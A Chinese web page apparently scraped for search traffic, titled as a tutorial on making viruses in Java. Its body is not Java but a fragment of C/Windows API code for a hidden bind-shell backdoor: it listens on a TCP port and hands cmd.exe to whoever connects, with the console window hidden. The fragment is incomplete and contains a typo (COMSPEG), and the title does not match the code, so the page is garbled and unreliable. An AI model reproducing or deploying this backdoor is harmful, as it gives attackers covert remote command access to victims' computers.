当前位置:网站首页 > Java基础 > 正文

java制作病毒教程



//分配内存,初始化数据         ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));         ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));         ZeroMemory(&WSADa,sizeof(WSADATA));

        //获取cmd路径         GetEnvironmentVariable(COMSPEG,szCMDPath,sizeof(szCMDPath));

        //加载ws2_32.dll         WSAStartup(0x0202,&WSADa);

        //设置本地信息和绑定协议,建立socket,代码如下:         SockAddrIn.sin_family = AF_INET;         SockAddrIn.sin_addr.s_addr = INADDR_ANY;         SockAddrIn.sin_port = htons(MasterPort);         CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);

        //设置绑定端口999         bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));

        //设置服务器端监听端口         listen(CSocket,1);         iAddrSize = sizeof(SockAddrIn);

        //开始连接远程服务器,并配置隐藏窗口结构体         SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);

        StartupInfo.cb = sizeof(STARTUPINFO);

        StartupInfo.wShowWindow = SW_HIDE;                  StartupInfo.dwFlags = STARTF_USESTDHANDLES |

        STARTF_USESHOWWINDOW;

        StartupInfo.hStdInput = (HANDLE)SSocket;

        StartupInfo.hStdOutput = (HANDLE)SSocket;

        StartupInfo.hStdError = (HANDLE)SSocket;                  //创建匿名管道:         CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);

        WaitForSingleObject(ProcessInfo.hProcess, INFINITE);

        CloseHandle(ProcessInfo.hProcess);

        CloseHandle(ProcessInfo.hThread);

        //关闭进程句柄:         closesocket(CSocket);

        closesocket(SSocket);

        WSACleanup();

          //关闭连接卸载ws2_32.dll         return 0;

        }         

版权声明


相关文章:

  • Java大学实用教程2025-11-04 17:50:05
  • java转大数据教程2025-11-04 17:50:05
  • java教程1312025-11-04 17:50:05
  • java枪械模组教程2025-11-04 17:50:05
  • 李兴华 java web教程2025-11-04 17:50:05
  • 疯狂java教程第9讲2025-11-04 17:50:05
  • Java Web 案例教程2025-11-04 17:50:05
  • java教程2312025-11-04 17:50:05
  • 小游戏代码java开发教程2025-11-04 17:50:05
  • arcgis java教程2025-11-04 17:50:05